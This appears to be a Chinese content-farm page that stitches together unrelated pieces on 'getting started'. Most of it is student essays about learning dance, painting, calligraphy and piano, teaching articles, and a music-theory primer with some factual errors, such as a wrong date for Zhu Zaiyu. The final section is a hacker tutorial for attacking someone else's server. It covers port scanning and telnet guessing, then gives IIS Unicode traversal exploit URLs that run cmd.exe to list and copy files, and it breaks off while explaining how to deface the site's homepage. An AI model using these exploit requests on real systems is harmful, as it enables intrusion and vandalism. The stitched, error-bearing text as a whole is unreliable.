从开班到现在，我们一共写的五篇文章，分别是第一次上作文班，芙蓉树，美人蕉，绣球花和我进步了。如班以来，我们都有了不同程度的进步。

你喜欢这个作文班吗？要是喜欢的话，有空也来看看。

篇15：入门作文400字

在我3岁半的时候，妈妈把我送进了舞蹈兴趣班。

刚进班里，我什么基本功也不会，老师手把手地教我，我听着老师的话，看看示范，倒也领悟了不少。上课了，老师让大家趴在墙上劈横叉，毕竟同学们也都只有三四岁，什么都不懂，学起来很艰难，也不一定能彻底明白那些专业术语，大家都糊里糊涂。老师只能再三做示范。

我们劈好叉，尽管不规范，还是等老师来压我们。轮到我了，老师先把我的腿推到与墙平行，再坐到我的屁股上，痛得我哇哇乱叫，我甚至还流出了眼泪。当我趴在地上不想再做下一组动作时，老师竟直接将我拖出来，命令我立刻去下竖叉，我忍着泪水，从地上爬起，下了个不标准的竖叉，试图骗过老师，但老师还是发现了，她严厉地训斥我，一边帮我纠正错误。

第一天的舞蹈课，眼泪汪汪。第二次、第三次舞蹈课，我都是伤心的。一个晚上，我又来到舞蹈里，有了上几次课的经验，我也知道老师不是个好得罪的人物。那天，我特意早去，开了叉、腰，还十分求上进地压了胯，就为了得到老师的表扬。果不其然，老师检查横竖叉时，我都完成得异常出色。老师头一回表扬了我，“你的叉下得不错，那就说明你已经入了门，再接再厉哦！”我特别开心，那一刻好心情仿佛飘上了天。后来才知道，原来压胯有助于更好地下叉。

舞蹈入门不是件简单的事情，最起码得三五节课，要苦练，没有近路可走，待找到了感觉，自然也就入门了。

篇16：入门作文600字

我从小就喜欢画画，从幼儿园中班起，妈妈就给我报了画画班。

刚开始，我只是跟着老师去画，常常会把有些地方画不好或画坏了，都得请老师帮忙修改。我们学的是色彩涂鸦，当然是初级班了。那时，我们用铅笔打底稿，画好一个歪歪扭扭的作品——不对，那时还称不上是作品，应该说是草稿！然后再用勾线笔去勾线，最后才去涂色。

之后，我渐渐画得成熟了一些，就学起了儿童画。学儿童画时，我已经一年级了。儿童画比涂鸦要难一些，有一定的要求，要求线条要一笔到位，不可以画得歪歪扭扭。我学了好久才把基础学好、练熟。

差不多学了两年左右吧，我在画画的路上又进了一阶！我开始学起色彩写生了。那时我只有三年级，我们画的东西都很难，不像以前那样，随便一画就搞定，也不像儿童画那样简略，难度是高了一个级别的。写生就要把细节给画出来，不然又有什么意思呢？我学了一段时间，画得越来越好，所画的几乎可以与实物相媲美了！我觉得这个写生我已经入门了。老师给了我一些建议：画画的时候心要静，不能东想西想，要全神贯注！

色彩写生画到四上就停了，四下开始，我学起了素描，素描也要打基础，先从线条到单个几何，再从单个几何到多个多面几何。素描练习多了，我画的画也越来越逼真。虽然说还需要老师的帮助，但是与刚刚学素描的时候比起来，我还是进步了不少，也掌握了诀窍。

过了很长一段时间，我才感觉到画画的乐趣，画画是我自愿去学的，从不会到会，从会到画得好……每画一幅画，只要是认真去对待，那么，一定是乐在其中的。

篇17：入门作文600字

书法似一座巍峨高山，若找到一条合适的路径，并坚持走下去，方可达到豁然开朗的境界，这条合适的路径就是入门之法。因此学会入门是十分重要的。

人人都想要写一手漂亮的字，我也不例外。看着同学们的字迹都很工整，而我自己的却歪歪扭扭，羡慕之情油然而生，于是妈妈为我报了一个书法班。

第一天上课，我便按捺不住内心的激动：我也要拥有漂亮的字了！而老师却说：书法必须要有耐心，不急不躁，一定要踏踏实实的。我便暂且放下了内心的激动，练习起来。

在那段时间里，我每天都按老师所教的顿笔知识去练习，很有耐心，也很踏实，果然取得了一定效果。我便不想去练习简单的笔画，于是我把自己的练习本拿给老师看，老师说：确实练得不错。那我们开始学一些简单的字吧！

练过几天后，我发现没有原来写的好看了，笔画与笔画之间的位置和整体的框架结构出了问题。于是我买了一本字帖，开始临摹起来。临摹了几日，仍没有太大成效，自己也渐渐丧失了信心，难道我注定与书法无缘？

猛地抬头看见曾经练习笔画时的本子，我的心下一颤，那时的我是多么用功啊！想起老师第一堂课说的有耐心，不急不躁，踏踏实实，我又重新拿起笔，用笔尖指着字帖上的字，分析每一个字的框架，思考着该从哪里落笔，怎么顿笔。分析好后，我在练习本上一笔一划地写下这个字，比原来好多了，可是还有些生疏。我便一次又一次反复写，终于达到我想要的效果。

入了那扇曾经遥不可及的门。几个月后学校的书法比赛，我仅获得三等奖，但是我并不气馁，因为我找到方法，找回了自信，我相信坚持练习一定会有所收获的。

文海阡陌，拾一行婉约宋词，携一卷优雅唐风，琴韵悠扬，笔尖回转，任思绪飞扬，我仍会坚定信念，在入门之后勤加练习，最终有所成就！

篇18：小学作文入门

故事作文法——小学作文入门的一把金钥匙

小学生的作文，尤其是三、四年级学生的作文，只有身在教学第一线的才深有体会：一次作文上来，虽然其中不乏有几个尖子生写得还可以，但大部分不是抄，就是短短几行，要说通顺就不易，更不用说中心明确、表达具体了，小学作文入门。如何提高学生的作文水平，使他们能写、乐写呢?经过几年摸索，我觉得故事作文是一个很好的途径。

一、故事作文的好处

1、降低作文心理坡度，培养作文兴趣，解决作文动机问题。作文心理学告诉我们，作文是先实现“客观事物在人脑中的显现”第一重转化，再经过人脑加工，形成思路和语言，用文字表达出来(即第二重转化)。这对刚学作文的小学生有难度，特别是第一重转化，学生虽然接触了现实世界，但他们观察力弱，抽象提取现实世界信息的能力弱，要做到有感而发实属不易。故事作文以故事的形式出现题材，大大降低了第一重转化的难度。

2、有利于因材施教，训练学生语言表达能力和谋篇布局，实现作文第二重转化。由于故事作文降低了构思和遣词造句的难度，有利于不同学生写不同的作文。好的学生可以根据故事梗概进行发挥，中下生可根据故事内容，依葫芦画瓢进行复述性质的作文。一般来说，故事已有完整的思路和比较详细的语言表达，这让中下生不会感到无话可写，至少可以“鹦鹉学舌”般地学写作文。这样，中下生就不会被作文吓怕。

3、丰富学生的知识。一般来说，小学生见识比较有限，通过故事的方式，可以了解到许多人文、地理、历史等等的知识，开阔了视野，增长了知识，再加上故事本身的趣味性，可有效提高学生作文兴趣。

二、开展“故事作文”的具体做法

1、组织形式：以校为单位进行组织的。学校安排每个语文教师搜集故事材料送教务处备案，由教务处根据需要安排每位教师在每周三早上早会讲故事，全校学生根据故事进行作文。学生作文用专用簿完成后送交科任教师批改，然后每班选出一篇优秀习作送交讲故事的轮值老师，经轮值老师筛选后，于次周三下午第三节让优秀学生上台交流，轮值教师逐一讲评后再作本次故事作文总体评析，作文指导《小学作文入门》。

2、故事作文的体裁及内容。教务处在统筹的基础上，对故事的各种体裁进行安排、调整，一般以学期为单位，力争在写实、说理、童话、寓言、科幻、想象等方方面面内容均有所展现。

3、讲故事形式：要求每位老师各有特色，如有的讲到故事的要害处嘎然而止，让学生想象续写;有的绘出几幅大图，打乱顺序，让学生先组合，再选代表“猜”故事内容，接着让学生根据自己的理解写成故事;有的`讲填空式故事……

4、故事作文的分层要求：一、二年级把故事作为说话课或写成简要一、二句话;三、四年级以复述方式作文为主;五、六年级既可复述，也可想象添加细节，更可写读、听后感或改编。总体的原则只有一个：让不同水平的学生写不同的故事作文。

三、故事作文的反思

故事作文是学生作文训练的有效方式，但不是灵丹妙药，它也有一定的局限性。在大力运用故事作文的同时，也要进行必要的其他形式的作文，防止学生只采一朵花而产生作文知识体系的缺漏。

1、搭配必要的观察作文，以防学生经常写现有或材料的故事作文，产生观察惰性，降低学生的观察力。

2、注意故事作文的密度，防止学生产生作文的僵化思维及习惯。

3、故事作文的低难度和趣味性能有效培养学生作文兴趣，引导学生写作入门。在达到入门目的后，教师应认真做好与其他类型作文的融合、衔接。特别是尖子生写作，不能让他们“吊死在一棵树上”，毕竟，故事作文只是作文训练的一种方式而已。

4、注意故事的选择，力争所选的故事符合小学生的年龄特征。全校写同一故事作文，有利于营造气氛和低、中、高年级互相学习、互相帮助，但理论上认为，若能分低、中、高年级选择不同难度故事也许更有针对性，更有训练效果。

5、应努力营造讲故事时的整体气氛及充分发挥讲故事老师的语言、节奏、语调、神态、动作、表情等体态语言，从而帮助学生(特别是低年级学生)对故事内容的理解及对故事中心、故事人物的把握、挖掘。

篇19：入门作文600字

我刚学钢琴的前四年都很糊涂，不知道该怎么弹。

我弹曲子时都没感觉，一点情感都没有，很死板。老师不知说了多少次，弹琴时要有感情，身体要微微摇晃，可我就是不会，弹起来非常生硬，好像机器人弹琴一样，身体永远都直直地立着，跟块木头似的。老师怎么教都教不起来，因为这要心里真正找到感觉了，才能表现出来的，可是她还是没有放弃对我的指导。

有一次老师特意找了一首好听的曲子给我弹，希望我能变得有感情。我听老师弹了一次，感觉特别好听。我在家里就很认真地练，期望能弹得好一些。结果我被这首曲子那美妙的旋律、意境吸引住了，我做梦也不会想到有这么好听的曲子，弹着弹着，身体竟不由自主地摇晃起来！很有感觉，整个身心都沉浸在这美妙的乐声中了，我把心中所有的烦恼都忘得一干二净，心中只有这首曲子，我陶醉在这美妙的音乐声中……

到老师那里学琴时，也找到了类似在家时的感觉，深情演奏，不知不觉中就沉浸在乐声中，我的动作和呼吸随着音乐的旋律，时而疾速，时而沉缓；我的情感随着音乐而起伏，时而欢快，时而忧愁，有时甚至有点淡淡的悲伤，我终于体会到作曲者的情感，与他进行了美妙的心灵交流！这时老师眼睛一亮，说：“啊，你找到感觉了，就是这样，就这样弹，很好！”

这时，我终于有触摸到“音乐之门”的感觉了，这感觉真奇妙，仿佛进入到由一个个音符构成的作曲者情感世界。真是“山重水复疑无路，柳暗花明又一村。”看起来这个入门很简单，可是也是很不容易的。

篇20：入门作文600字

还在下着，如同我的心情，豆大的雨点在伞上跳跃，奏出欢快的旋律，可我却低着头，一声不响地向前走，对那欢快的鼓点充耳不闻，离家越近，我的心情就越发沉重。 我甩了甩满是雨水的伞，用钥匙打开门，妈妈迎上来一边唠唠叨叨，一边把我的伞撑开晾在阳台上，我默默地打开台灯，放下书包，一抬头一杯热腾腾的牛奶已被摆在桌上，再仰头，妈妈正盯着我，我猛地低下头，慢吞吞地打开书包，“这次，我，我考得不，不怎么好，”我支支吾吾地对妈妈说，一边说一边从书堆中抽出卷子，“我看看。”妈妈拿着卷子，先瞄了一眼分数，目光顺着卷面向下滑，我紧张的注视着妈妈的脸色，果然，妈妈的`责备涌入了我的耳朵，我垂头丧气地站在一边。“你看看这题，你为什么不写？是忘了吗？”“可是”我小声为自己辩解“这些题都很难啊，”妈妈一听，更加严厉地说“难？难你不会用心吗？你，”等妈妈终于说完了，我一下子瘫在了椅子上，盯着那惨不忍睹的卷子，委屈和不甘从心里冒了出来，这卷子本来就很难啊，考差一点有什么问题，班上也有很多人考得很差呀......

不知过了多久，外面的惊雷把我唤醒，牛奶已不再温热，我揉揉眼睛，突然瞟到门缝里好像有一件东西，打开一看，居然是妈妈给我的信：女儿，今天我可能有些冲动，因为从未见你考过这么低的分，有些话不应该说的，你别放在心上，你长大了，有自己的想法不奇怪，或许我本来就不应骂你，这样的分数你一定很伤心了，但在那时我没有想到这一点，也没有想到我的数落会给你雪上加霜，会给你更大的打击，这里，我向你道歉，愿你原谅我的冲动，还有那杯牛奶凉了，必须热一热再喝，饭菜在餐桌上，也不许吃冷的噢，你要喝水的话，不要直接倒暖壶里的，会烫着，我在你的杯子里放了些凉的，你可以兑成温水直接喝，好了我去加班了，你自己在家要注意！放下信，我第一次感到妈妈的唠叨不那么烦人，而是从心中感到了，世上最伟大无私的爱——母爱！

篇21：入门作文600字

云淡风轻的午后，糖果纸在绚丽的画框里泛着微甜，破茧的记忆在心底攀爬，蹒跚地回到我初学舞蹈的那段岁月。

还记得我八岁那年第一次走进舞蹈教室时，就惊异于它的宽敞明亮。舞蹈老师在第一次课上时对我们说：“舞蹈要找到门路，才能学成。”那时年幼的我，只是记住了老师说的话，却不能理解老师的话的内涵。

几堂课后，我们学习了一些基本的训练。老师发给每个人一个道具，然后教同学们手拿道具做几个连贯的动作，其中有一个是旋转跳跃，老师先示范了一遍，然后让同学们自己练习一下，一个个展示。前几个同学都做的很成功，轮到我做时，我做了好几遍都没有领会到要领，尤其是旋转时，身体总是略显僵硬。老师摇了摇头，拍着我的肩膀说：“别着急，慢慢来。跳舞关键在柔，不仅仅要有柔韧性，还要有思想与身体的配合。回家的路上我一直在反复思考老师的话，跳舞想要入门就要每个动作都做得柔，可是怎么才能做到呢？我坐在公园的长椅上看着树叶发呆，微风拂面，一片落叶旋转地落下，好像一只降临人间的小精灵展示着自己的舞姿，正落在我的眼前。

我微怔，电光火石之间突然明白了老师话的含义。我回忆着树叶在空中打旋的样子，又练习了一遍，看着自己水中的倒影，我觉得自己做到了。

再去上课时，我跳给老师看，老师眼里闪过一丝惊喜，点了点头，满意地笑了，说得：“好！你这才算是入门了。”

当我几年后站在舞台上翩翩起舞时，聚光灯会聚在我身上那一刻，全场掌声雷动。我知道自己取得了梦寐以求的成绩。而若非当年成功地入门，加上后来的努力，哪来今天的辉煌？

掬一捧微风的软，剪一缕阳光的暖，穿过纷至沓来的年华，我跟随着心灵的指引，走入了舞蹈的大门，也走入了成长的大门。

篇22：浅议绘画入门

浅议绘画入门

浅议绘画入门

辽宁省盘锦市兴隆台区实验幼儿园 邵洪艳

“入门”这个简单明了的词一听一看便懂，但要真做起来就很难了。任何事从入门开始都有门外徘徊的过程。有人说“不知从何处下手”这就对了，因为您没有入门嘛！那么对初学绘画的人来说：难也不难，不难也难，这就取决于教师的指导方式方法了。

一、从面到体、透视、构图入门

初学者拿笔拿画夹不难，但怎样去在纸上表现具体物体或记忆中的物体就很难了。教师要根据不同的物体平面引导下手，再展现立体。例如，正方形，开始四条相等的边组合围起是形，而再加上五条线即成了正方体，这个过程叫物体的“透视”法。

透视对学生而言很陌生，教师要针对不同的物体解释本词的专业术语。首先讲明透视在绘画中的意义极其作用。并且阐明透视的规律，透视的种类。只有掌握它才能准确表现物体。平行透视、成角透视、圆透视，并示范给学生，要求学生掌握运用粗浅的透视作图方法，难点，通过反复练习去理解透视原理。

透视法也可以潜移默化为事物的观察法：形、体、光下的空间物象等等。

构图，简单的讲就是物体在画面上的安排，教师要有代表性地列举几种不同形式的构图方法，让学生分析他们的形态变化和展示方位，这样给学生空间认识过程和有效区别在透视构图中的重要作用。学生做完后教师要剖析不同位置的构图，用最佳方法引导，然后让学生讨论分析：一是会更有科学性；二是使学生通过对比观察能在很短的时间内指出相互差别，再在原位不动去画第二张作品，无疑事半功倍。

二、掌握结构和比例入门

教学中怎样去分析物体的结构。有经验的教师往往都采取从物体平面入手。将一张六开纸给学生画，画准物体的透视关系后，再在四个角画上垂线，按透视规律连或画线。这样既能巩固透视知识又能进一步理解简单的形体结构，教师要侧重提示学生什么是比例关系及在绘画中的重要作用。让学生学会怎样去找比例，如何测量等知识及方式方法。教师设计大小不同的物体给学生练习。通过反复比较认真测量，把握好轮廓，指导学生找准所画物体关系和比例关系，并能教给准确修改和修改方法。

三、保持良好心态，轻松入门

在绘画教学中除认真严格要求学生外，要创造舒适活跃的课堂气氛，调整好学生的良好心态，平稳情绪入画。使学生能在严肃的纪律中谨慎地运用绘画知识及其技能完成作业，心甘情愿地接受指教，完成教学任务。

教师一定要认真当面批改学生作业，指出优缺点，评价学习态度。教师评定时先肯定优点，让学生兴趣高昂，然后用不同并不敏感的'语言指出不足之处，让学生高兴地接受，提示学生整体布局不统一或者透视关系没处理好等重点，学生会立刻将画面与物体对照、分析、修改，再观察再修改，直至满意为止。这样轻松愉快，严格认真的课堂教学，使学生不但有信心，有收获，有欲望，更有师生的新感情，何乐而不为呢？

四、多角度、多元化表现入门

绘画是时空艺术的表现体，画面物体空间有很大的伸缩性，可高可低，可左可右，可静可动，可远可近，可浓可淡，可大可小等等。与其说方位不妥，不如称角度不对。角度靠透视，方位靠布局，二者相辅相成，缺一不可，同一组静物从不同角度去表现，就提出不同程度上的难点，针对这种情况，要指导学生如何去构图，在光照下如何对个别物体进行适当的调整和移位，以达到构图和画面的完美性，提高表现手法之技巧。亦可调整，座位补救，教学中教师要灵活调整学生位置变化去画同一种物体，体会不同方位下的绘画方法和构图方法，力求达到预期的教学目的和知识的有效传授乃至利用。

针对绘画入门也要分年龄、基础，不同对待。通过入门的教学去让每一个学生加速提高绘画基础，掌握绘画原理，运用绘画技能技巧，由看物体达到观察物体，定向，展示物体，美化物体，为酿造绘画难、入门难的课堂教学提供有效的学习条件。绘画入门这只是其中的有效途径之一，其余的还有待教学实验中进一步探索和研究。

篇23：浅析《英语听力入门》

浅析《英语听力入门2000》

本文在借鉴西方学者教材评估原则的基础上,探讨了在中国英语语言环境下大学英语教材的评估应坚持的原则,并通过调研,对目前众多大学选用的<英语听力入门2000>进行了实证分析.

作 者：李端阳 李元  作者单位：李端阳(广西师范大学,外国语学院;桂林航天工业高等专科学校,广西,桂林,541000)

李元(桂林航天工业高等专科学校,广西,桂林,541000)

刊 名：考试周刊 英文刊名：KAOSHI ZHOUKAN 年，卷(期)：2008 “”(7) 分类号：H3 关键词：教材评估   中国语言环境   原则  

篇24：入门吉他怎么学

入门吉他怎么学

入门吉他知识?有哪些入门的知识?请看下面的新手入门基础乐理知识吧。

一、基础知识

作曲家创作乐曲，也象文学家写诗歌、小说一样，有一套表情达意的体系，那就是音乐语言。音乐语言包括很多要素：旋律、节奏、节拍、速度、力度、音区、音色、和声、复调、调式、调性等。一首音乐作品的思想内容和艺术美，要通过多种要素才能表现出来。

【旋律】又称曲调，它是按照一定的高低、长短和强弱关系而组成的音的线条。它是塑造音乐形象最主要的手段，是音乐的灵魂。

【节奏】各音在进行时的长短关系和强弱关系。由于不同高低的音同时也是不同长短和不同强弱的音，因此旋律中必须包括节奏这一要素。

【节拍】强拍和弱拍的均匀的交替。节拍有多种不同的组合方式，叫?quot;拍子''，正常的节奏是按照一定的拍子而进行的。

【速度】快慢的程度。为使音乐准确地表达出所要表现的思想感情，必须使作品按一定的速度演唱或演奏。

【力度】强弱的程度。音的强弱变化对音乐形象的塑造也起着很重要的作用。

【音区】音的高低范围。不同音区的音在表达思想感情时各有不同的功能和特点。

【音色】不同人声、不同乐器及不同组合的音响上的特色。通过音色的对比和变化，可以丰富和加强音乐的表现力。

【和声】两个以上的音按一定规律同时结合。和弦进行的强和弱、稳定与不稳定、协和与不协和，以及不稳定、不协和和弦对稳定、协和和弦的倾向性，构成了和声的功能体系。和声的功能作用，直接影响到力度的强弱、节奏的松紧和动力的大小。此外，和声的音响效果还有明暗的区别和疏密浓淡之分，从而使和声具有渲染色彩的作用。

【复调】两个或几个旋律的同时结合。不同旋律的同时结合叫做对比复调，同一旋律隔开一定肘间的先后模仿称为模仿复调。运用复调手法，可以丰富音乐形象，加强音乐发展的气势和声部的独立性，造成前呼后应、此起彼落的效果。

【调式】从音乐作品的旋律与和声中所用的高低不同的音归纳出来的音列。这些音互相联系并保持着一定的倾向性。而调性则是调式的中心音(主音)的音高。在许多音乐作品中，调式和调性的转换和对比，是体现气氛、色彩、情绪和形象变化的重要手法。

音乐语言的各种要素互相配合，具有千变万化的表现力。旋律尽管是音乐的灵魂，但其它要素起了变化，音乐形象就会有不同程度的改变。在一定条件下，其它要素甚至可起重要作用。

二、音及音高

音是由于物体的振动而产生的。在自然界中能为我们人的听觉所感受的音是非常多的，但并不是所有的音都可以作为音乐的材料。在音乐中所使用的音，是人们在长期的生产斗争和阶级斗争中为了表现自己的生活和思想感情而特意挑选出来的。这些音被组成为一个固定的体系，用来表现音乐思想和塑造音乐形象。

音有高低、强弱、长短、音色等四种性质。 音的高低是由于物体在一定时间内折振动次数(频率)而决定的。振动次数多，音则高;振动次数少，音则低。

音的长短是由于音的延续时间的不同而决定的。音的延续时间长，音则长;音的延续时间短，音则短。

音的强弱是由于振幅(音的振动范围的幅度)的大小而决定的。振幅大，音则强;振幅小，音则弱。 音色则由于发音体的性质、形状及其泛音的多少等不同。

音的以上四种性质，在音乐表现中都是非常重要的，但音的高低和长短则具有更为重大的意义。试以《社会主义好》这首歌为例，不管你用人声来演唱或用乐器来演奏，用小声唱或是大声唱，虽然音的强弱及音色都有了变化，仍然很容易辨认出这支旋律。但是，假如将这首歌的音高或音值加以改变的话，则音乐形象就会立即受到严重的破坏。因此，不管创作也好，演奏演唱也好，对音高和音值应加以特别的注意。

由于音的振动状态的规则与不规则，音被分为乐音与噪音两类。音乐中所使用的主要是乐音，但噪音也是音乐表现中不可缺少的组成部分。

在我国民族音乐里，噪音的使用具有相当丰富的表现能力。如在戏曲音乐中，打击乐器在其他艺术表现手段的配合下，在塑造人物形象，表现各种思想情感方面，其作用是异常明显的，这是世界音乐文化中非常具有特色的一部分，是值得我们很好地研究和学习的。

我们平时所听到的某一个音，都不只是一个音在响，而是许多个音的结合，这种声音叫做复合音。复合音的产生是由于发音体(以弦为例)不仅全段在振动，它的各部分(二分之一、三分之一、四分之一……等)也分别的同时在振动。由发音体全段振动而产生的音叫做基音，也就是最易听见的声音，由发音体各部分振动而产生的音叫做泛音。这些音是我们听觉所不易听出来的。

三、乐音体系

在音乐中使用的、有固定音高的音的总和，叫做乐音体系。 乐音体系中的音，按照上行或下行次序排列起来，叫做音列。

在钢琴上可以明显地看出乐音体系中所使用的音和音列。现在最大的钢琴包括有八十八个音高不同的音。除此之外的音在音乐中差不多是不用的。

乐音体系中的各音叫做音级。音级有基本音级和变化音级两种。 乐音体系中，七个具有独立名称的音级叫做基本音级。钢琴上白键所发出的音是与基本音级相符合的。

基本音级的名称是用字母和唱名两种方式来标记的。 钢琴上五十二个白键循环重复地使用七个基本音级名称。 两个相邻的具有同样名称的音叫做八度。

升高或降低基本音级而得来的音，叫做变化音级。将基本音级升高半音用“升”或“#”来标明;降低半音用“降”或“b”来标明;升高全音用“重升”或“×”来标明;降低全音用“重降”或“bb”来标明。

在德国体系中，用加字尾的办法来标明变化音级：is(升)，es(降)，isis(重升)，eses(重降)。

但降E不用Ees而用es;降A不用Aes而用as;降h不用hes而用b。

四、音的分组

前面已经讲过，钢琴上五十二个白键循环重复地使用七个基本音级名称，因此，在音列中便产生了许多同名的音，为了区分音名相同而音高不同的各音，我们将音列分成许多个“组”。

在音列中央的的一组叫做小字一组，它的音级标记用小写字母并在右上方加数字1来表示，如c1d1e1等。

比小字一组高的组顺次定名为：小字二组、小字三组、小字四组、小字五组。 小字二组的标记用小写字母并在右上方加数字2来表示，如c2d2e2等。其他各组依次类推。

比小字一组低的组，依次定名为小组、大字组、大字一组及大字二组。 小字组各音的标记用不带数字的小写字母来表示，如cde等。

大字组用不带数字的大写字母来标记，如CDE等。 大字一组用大写字母并在右下方加数字1来标明，如C1D1E1等。

大字二组用大写字母并在右下方加数字2来标明，如A2B2等。

音域有总的音域和个别的人声或乐器的音域两种。

总的音域是指音列的总范围，即从它的最低音到最高音(C2-c5)间的距离而言。

个别的人声或乐器的音域是指在整个音域中所能达到的那一部分，如钢琴的音域是A2-c5。音区是音域中的一部分，有高音区、中音区、低音区三种。在整个音域中，小字组、小字一组和小字二组属于中音区。小字三组、小字四组和五组属高音区，大字组、大字一组和大字二组属低音区。各种人声和各种乐器的音区划分，往往是不相符合的。如男低音的高音区是女低音的低音区等。各音区的特性音色在音乐表现中，有着重大的作用。高音区一般具有清脆、嘹亮、尖锐的特性;而低音区则往往给人以浑厚、笨重之感。

四、谱号、五线谱、音律

谱号

前面已经讲过，在五线谱上音的位置愈高，音也愈高，反之音的位置愈低，音也愈低，但到底高多少?低多少?却无法确定。在五线谱上要确定音的高低，必须用谱号来标明。这种谱号记在五线谱的某一条线上，便使这条线具有了固定的音级名称和高度，同时也确定了其他各线上或间内的音级名称和高度。

通常用的谱号有三种：

G谱号 表示小字一组的g，记在五线谱的第二线上，叫高音谱号;另外有记在第一线上的，叫古法国式高音谱号。

F谱号表示小字组的f，记在五线谱的第四线上，叫低音谱号;另外还有记在第五线上的，叫倍低音谱号。

C谱号 表示小字一组的c，可记在五线谱的任何一线上。

目前被采用的C谱号有C三线谱号(中音谱号)为中音提琴所用，有时也长号所用。C四线谱号(次中音谱号)为大提琴、大管和长号所用。其他C谱号一般较少应用。

使用许多谱号的目的是为了避免过多的加线，以使写谱和读谱更加方便。 各种谱号可以单独使用，也可以连接起来使用，如高、低音谱号所组成的大谱表便是。

五线谱

用来记载音符的五条平行横线叫做五线谱。

五线谱的五条线和由五条线所形成的间，都自下而上计算的。假使音乐作品是写在数行五线谱上，那么，这数行五线谱还要用连谱号连结起来。

连谱号包括起线(连结数行五线谱的垂直线)和括线(连结数行五线谱的括弧)两个组成部分。

括线分花的和直的两种。花括线为钢琴、风琴、手风琴、竖琴、扬琴、琵琶等乐器记谱使用。

直括线为合奏、合唱、乐队记谱用。在总谱中用直括线来连接同为乐器，把它们分成完全的或不完全的乐器组。有时在直括线之外还加上辅助括线(花的或直的)来连接同种乐器。

在总谱中，独唱独奏声部如果只包括一两行五线谱的话，左边只画一条起线，而不加括线。为了标记过高或过低的音，在五线谱的上面或下面还要加上许多短线，这些短线叫做加线，在五线谱上面的叫上加线，下面的叫下加线。

由于加线而产生的间，叫做加间，在五线谱上面的加间叫上加间，下面的叫下加间。加线和加间的计算方法是：上加线和上加间，由下向上计算，下加线和下加间由上向下计算。

音律

乐音体系中各音的绝对准确高度及其相互关系叫做音律。音律是在长期的音乐实践发展中形成的，并成为确定调式音高的基础。

在历史发展过程中，曾采用过各种各样的方法来确 定乐音体系中各音的高度，其中主要的、为大家所熟知的.有“纯律”、“五度相生律”和“十二平均律”三种。

目前被世界各国所广泛采用的是“十二平均律”。但“纯律”和“五 度相生律”在音乐生活中仍继续发生着影响并具有重大的意义。

五、十二平均律、五度相生律、纯律

十二平均律

将八度分成十二个均等的部分-半音-的音律叫做十二平均律。

十二平均律早在古代希腊时便有人提出了，但并未加以科学的计算。世界上最早根据数学来制订十二平均律的是我国明朝大音乐家朱载(土育)(1854年)。

半音是十二平均律组织中最小的音高距离。两音间的距离等于两个半音的叫做全音。八度内包括有十二个半音，也就是六个全音。

在音列的基本音级中间，除了E到F、B到C是半音外，其余相邻两音间的距离都是全音。

在钢琴上，相邻的两个琴键(包括黑键)都构成半音，隔开一个琴键的两个音则都构成全音。

五度相生律

根据复合音的第二分音和第三分音的纯五度关系，即由某一音开始向上推一纯五度，产生次一律，再由次一律向上推一纯五度，产生再次一律，如此继续相生年定出的音律叫做五度，产生再次一律，如此继续相生所定出的音律叫做五度相生律。

例如五度相生律所订出的七个基本音级间的音高关系，和十二平均律中七个基本音级的音高关系是不同的。

虽然EF、BC之间亦为半音，但比十二平均律中的半音要小。其余相邻两音级之间虽然亦为全音，但比十二平均律中的全音要大。这种音高的差异就是由于定律方法的不同而产生的。

篇25： 快速入门

今天的内容是获得主机的信息，

快速入门

。 我们要黑一台主机，首先要了解它的信息，

包括它的类型，用户列表，目录，端口，漏洞等等。

首先我们我们要找一台主机来练手，随便挑吧！www.flyingfish.com(乱说的)第一部，呵呵，

先在ie里看看吧，mmmm.....做的还行，挺精致的！主要是我们肯定了它现在是正常的。 然后，

我们应该知道它的ip,很简单，ping它一下就可以了。ping www.flyingfish.com，看看窗口里有

了什么？是不是有三行回应，其中的111.111.222.222就是ip了（还是胡说的，一个例子）。有人

是不是要问，我这里怎么没有。那可能是两个原因，第一，你打错命令了；第二，该主机装了防火墙，

禁止ping,不过这种可能很小。知道了ip，下一步应该确定端口了。下面是一些常用的端口的默认值

21--ftp 重要哦

23--telnet 欢呼吧

25-smtp 尽管重要，但似乎没什么可利用的 53--domain 同上

79--finger 可知道用户信息了

80--http 要看网页，没它不行吧

110--pop 收信的

139--netbios 共享用的，很有利用价值哦

3389--win2000超级终端 呵呵，这个好！

其实端口有上千种，这些最最常用

我们怎么知道服务器有什么端口打开呢？？去找个扫描器吧，x-scan ,super scan,flux等等

很多哦。这里我推荐super scan ，速度很快，本站也有其教程哦！用法还是比较傻瓜的，估

计大家不会有问题，轻轻几点，打开的端口就出现了。不错不错，上面说到的都有（太理想化了吧!）

那么我们该如何应对呢？ps:忘了说一声，顺便扫一下7626,冰河有也说不准哦：）

若有ftp,那就用用匿名登陆。自己动手也行，最好用x-scan flux等吧！反正，有ftp就有一份希望

telnet在！好!telnet 111.111.222.222，出现窗口了吧！嗯？要密码？看来网管还不是超级白痴：）

随便猜个，错了，闪人！

二，一切从基础开始

由于winntsystem32cmd.exe的存在，使远程执行命令变为可能，在浏览器里输入以

下请求：(假设11.11.22.22有漏洞）

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

学过dos的应该可以看懂，其实就是利用当中的非法请求使我们可以连到system32下，

如果inetpub目录不合winnt同盘，或者目录级数有改动，可能会引起请求失败。

如果成功，那么在浏览区可看到如下信息：

Directory of C:inetpubscripts

2000-09-28 15:49 〈DIR〉 .

2000-09-28 15:49 〈DIR〉 .. （假设目录中没有文件，实际上有一大堆）

是不是有自己机器的感觉了，正点！就是这种感觉！

cmd.exe相当与dos里的command.com，因此，我们可以执行很多命令了！

11.11.22.22/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir （这个命令同样道理）

大家请注意：/c后面的+，实际上，他就是空格，请记牢！dir开始就是dos命令了，我们可以更改一下：

11.11.22.22/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:autoexec.bat+c:winntauto.exe

会dos的朋友一定懂其意义了，不懂的请去看书 .

不用说，大家也知道我们就可以利用它来对有漏洞的机器展开攻击了！

三，实战演练

1，修改主页！（是不是很爽？）

一般主页位置在c:inetpubwwwroot下，但要是改了路径，就需要找找了。

最方便的方法：在浏览器里输入 11.11.22.22/.ida要是有漏洞，那在浏览器里 便会显示主页路径，这个漏洞存在率很高，自然是我们的首选。

分析法：用dir看各个盘符的根目录，看可疑的就进去看，运气好的在一分钟里找到，这要看运气和直觉。

dir/s法：首先在看其主页，找个图片或连接，看它的文件名，比如，11.11.22.22首页上

有一幅图片，右击，属性，看到了吗？iloveu.gif，然后我们利用unicode输入

